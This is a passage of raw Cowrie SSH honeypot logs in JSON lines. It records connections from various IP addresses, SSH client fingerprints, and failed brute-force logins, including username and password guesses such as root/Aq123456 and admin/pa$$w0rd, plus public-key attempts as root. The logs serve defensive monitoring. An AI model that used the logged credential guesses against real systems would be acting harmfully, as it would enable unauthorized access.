-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:50:42.675408Z","src_ip":"189.46.1.73","session":"3357f6800fae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"abcd1234","message":"login attempt [testuser/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:50:43.331032Z","src_ip":"189.46.1.73","session":"3357f6800fae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:50:44.531165Z","src_ip":"189.46.1.73","session":"3357f6800fae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.119.184","src_port":17096,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4eef9e6f228","protocol":"ssh","message":"New connection: 101.36.119.184:17096 (10.17.0.5:22) [session: e4eef9e6f228]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:50:45.920890Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:50:45.926205Z","src_ip":"101.36.119.184","session":"e4eef9e6f228","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:50:46.137583Z","src_ip":"101.36.119.184","session":"e4eef9e6f228","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"pa$$w0rd","message":"login attempt [admin/pa$$w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:50:47.013255Z","src_ip":"101.36.119.184","session":"e4eef9e6f228","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:50:48.226970Z","src_ip":"101.36.119.184","session":"e4eef9e6f228","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":57546,"dst_ip":"10.17.0.5","dst_port":22,"session":"865f603dc7ae","protocol":"ssh","message":"New connection: 2.57.122.210:57546 (10.17.0.5:22) [session: 865f603dc7ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:51:01.688886Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:51:01.697367Z","src_ip":"2.57.122.210","session":"865f603dc7ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:51:01.846614Z","src_ip":"2.57.122.210","session":"865f603dc7ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sniper","password":"sniper","message":"login attempt [sniper/sniper] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:51:02.216048Z","src_ip":"2.57.122.210","session":"865f603dc7ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:51:03.323945Z","src_ip":"2.57.122.210","session":"865f603dc7ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.119.184","src_port":33480,"dst_ip":"10.17.0.5","dst_port":22,"session":"c367067f0afe","protocol":"ssh","message":"New connection: 101.36.119.184:33480 (10.17.0.5:22) [session: c367067f0afe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:51:36.631030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:51:36.635637Z","src_ip":"101.36.119.184","session":"c367067f0afe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:51:36.856258Z","src_ip":"101.36.119.184","session":"c367067f0afe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"slayer","message":"login attempt [admin/slayer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:51:37.757327Z","src_ip":"101.36.119.184","session":"c367067f0afe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:51:38.977787Z","src_ip":"101.36.119.184","session":"c367067f0afe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":52300,"dst_ip":"10.17.0.5","dst_port":22,"session":"63ec00288207","protocol":"ssh","message":"New connection: 103.15.226.202:52300 (10.17.0.5:22) [session: 63ec00288207]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:51:39.008360Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:51:39.016655Z","src_ip":"103.15.226.202","session":"63ec00288207","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:51:39.257442Z","src_ip":"103.15.226.202","session":"63ec00288207","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aq123456","message":"login attempt [root/Aq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:51:39.978870Z","src_ip":"103.15.226.202","session":"63ec00288207","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:51:41.222243Z","src_ip":"103.15.226.202","session":"63ec00288207","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.119.184","src_port":49864,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f8c26c8bfd6","protocol":"ssh","message":"New connection: 101.36.119.184:49864 (10.17.0.5:22) [session: 7f8c26c8bfd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:52:26.951508Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:52:26.956667Z","src_ip":"101.36.119.184","session":"7f8c26c8bfd6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:52:27.172850Z","src_ip":"101.36.119.184","session":"7f8c26c8bfd6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"password1","message":"login attempt [test/password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:52:28.069082Z","src_ip":"101.36.119.184","session":"7f8c26c8bfd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:52:29.287873Z","src_ip":"101.36.119.184","session":"7f8c26c8bfd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"179.61.232.244","src_port":58576,"dst_ip":"10.17.0.5","dst_port":22,"session":"b97314e3d47c","protocol":"ssh","message":"New connection: 179.61.232.244:58576 (10.17.0.5:22) [session: b97314e3d47c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:53:03.764771Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:53:03.775308Z","src_ip":"179.61.232.244","session":"b97314e3d47c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:53:03.804579Z","src_ip":"179.61.232.244","session":"b97314e3d47c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"21:97:da:22:66:d2:8f:9e:5a:aa:56:6b:de:98:d7:7a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUKuPEv3Mvgc+v6b9aL1bxgyw2qgynA0fMnydlueB2mBiCSSu0875le1LqeJ6vAXMCqAli6LKMKDvBpCf8yOwmBawbyEn8fZuPApjkjAL9A8WKkdC0qjRAVSzy14dt6pI4pDp9kHSRc+5SnUYUObpOjHHMuPbNsGrxhhhmsRQXGBfsY9ictPIF24HnE9rOW8zxqUCK+jZKgbCF8rMXpxZVWoLC9qhGmimj/zsadZaRDUThCVuUo9DQgWZlYnJV2Hlktd1DiNoFZajmPk5hS7v18kWTjZMtge9M4ZFhd9FFSKIHyjNerYIf4oKoWPXKghhmsQKq4bgaUPKBWr7aE5hv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 21:97:da:22:66:d2:8f:9e:5a:aa:56:6b:de:98:d7:7a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:53:03.925161Z","src_ip":"179.61.232.244","session":"b97314e3d47c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"21:97:da:22:66:d2:8f:9e:5a:aa:56:6b:de:98:d7:7a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUKuPEv3Mvgc+v6b9aL1bxgyw2qgynA0fMnydlueB2mBiCSSu0875le1LqeJ6vAXMCqAli6LKMKDvBpCf8yOwmBawbyEn8fZuPApjkjAL9A8WKkdC0qjRAVSzy14dt6pI4pDp9kHSRc+5SnUYUObpOjHHMuPbNsGrxhhhmsRQXGBfsY9ictPIF24HnE9rOW8zxqUCK+jZKgbCF8rMXpxZVWoLC9qhGmimj/zsadZaRDUThCVuUo9DQgWZlYnJV2Hlktd1DiNoFZajmPk5hS7v18kWTjZMtge9M4ZFhd9FFSKIHyjNerYIf4oKoWPXKghhmsQKq4bgaUPKBWr7aE5hv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:53:03.929409Z","src_ip":"179.61.232.244","session":"b97314e3d47c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c2:c6:69:e2:0b:ea:d2:25:5a:11:67:c1:e9:f5:e0:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwC3kITV+DdtueHT/3wXlqp0MFlCheQU2fYN7lXhUURm/0hbGDDGfwv9+JftEk2oMehqdJUa2m8CyB/vu80BA79jG496/4qSpgP4yrDUI/oX7LtucDCvfk5UHflitiEsuazzaoVIBtico6Koled1lp+mEDvCgExGNERYwFs1TazFlvSmd8rcwpGFWGiSavqlJU1RYhp4yFrl2BcmOfC/TzAjFakfSjbVOQYuSa9lG9puK1/pDMkGXUsuPnwweAQGmQiLmLM60FUIaD7TsvZS7iP7ajaVC4/R2ur2+t4cqcnE5oFSm85QCc+1v+rRLr/AZMdMMyK0t2bpBQo2WUpE/3w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c2:c6:69:e2:0b:ea:d2:25:5a:11:67:c1:e9:f5:e0:26","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:53:03.959956Z","src_ip":"179.61.232.244","session":"b97314e3d47c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c2:c6:69:e2:0b:ea:d2:25:5a:11:67:c1:e9:f5:e0:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwC3kITV+DdtueHT/3wXlqp0MFlCheQU2fYN7lXhUURm/0hbGDDGfwv9+JftEk2oMehqdJUa2m8CyB/vu80BA79jG496/4qSpgP4yrDUI/oX7LtucDCvfk5UHflitiEsuazzaoVIBtico6Koled1lp+mEDvCgExGNERYwFs1TazFlvSmd8rcwpGFWGiSavqlJU1RYhp4yFrl2BcmOfC/TzAjFakfSjbVOQYuSa9lG9puK1/pDMkGXUsuPnwweAQGmQiLmLM60FUIaD7TsvZS7iP7ajaVC4/R2ur2+t4cqcnE5oFSm85QCc+1v+rRLr/AZMdMMyK0t2bpBQo2WUpE/3w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:53:03.964645Z","src_ip":"179.61.232.244","session":"b97314e3d47c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ad:15:0d:c6:57:3c:e5:3f:8b:be:2d:53:5c:c8:6a:5d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDlnqGBVRxuWM3Z6rcxqvkpKcDu9zXic23a18Ys6sAD7u584H3PLmE/EuWCFYVlCbx4xBGTX7GQ8G65u+RwikaRLoBUEEQKs8l8+/2/oEBwCT+tjDBs3YNuZSOKL6ulM7u6ds9kl7G4xsMzFCDreEkMjEAgkqpLs9cLSB23Swev4Cepb1ULY+Cmbi8cCuYfkE/sokMrBJeWkaCl8Vx5R+zOeSDLSDR6aP1QWxnamw1nOAPdsKWBUGwqY9JI3rDI6oye9TaOTHUbTLqBV14t9of1Vqo5ziGRmdFwPw/3SGEuQUTyrLI2mGNwL/x6b+OjE4eqktSyko5rzBTP6H8m5KjCbEuoRRrxQMMEDT9FfvbPrF2KbOlEz0frq0sFVmAYwIV7sIACstmQaGpjx/hzvyt9L3mrxnPt8Q7J2mp0TRQz8QmKNmC3a7Q5E9GHLPYx6MciF9W0WCHIPTCUTFrXh6ORQXrgKoJ2UN9NuBxzLXA8f2MEbtkIagexl14ra8bfU+k=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ad:15:0d:c6:57:3c:e5:3f:8b:be:2d:53:5c:c8:6a:5d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:53:03.995036Z","src_ip":"179.61.232.244","session":"b97314e3d47c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ad:15:0d:c6:57:3c:e5:3f:8b:be:2d:53:5c:c8:6a:5d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDlnqGBVRxuWM3Z6rcxqvkpKcDu9zXic23a18Ys6sAD7u584H3PLmE/EuWCFYVlCbx4xBGTX7GQ8G65u+RwikaRLoBUEEQKs8l8+/2/oEBwCT+tjDBs3YNuZSOKL6ulM7u6ds9kl7G4xsMzFCDreEkMjEAgkqpLs9cLSB23Swev4Cepb1ULY+Cmbi8cCuYfkE/sokMrBJeWkaCl8Vx5R+zOeSDLSDR6aP1QWxnamw1nOAPdsKWBUGwqY9JI3rDI6oye9TaOTHUbTLqBV14t9of1Vqo5ziGRmdFwPw/3SGEuQUTyrLI2mGNwL/x6b+OjE4eqktSyko5rzBTP6H8m5KjCbEuoRRrxQMMEDT9FfvbPrF2KbOlEz0frq0sFVmAYwIV7sIACstmQaGpjx/hzvyt9L3mrxnPt8Q7J2mp0TRQz8QmKNmC3a7Q5E9GHLPYx6MciF9W0WCHIPTCUTFrXh6ORQXrgKoJ2UN9NuBxzLXA8f2MEbtkIagexl14ra8bfU+k=","type":"ssh-rsa","message":"public key login attempt for [root] 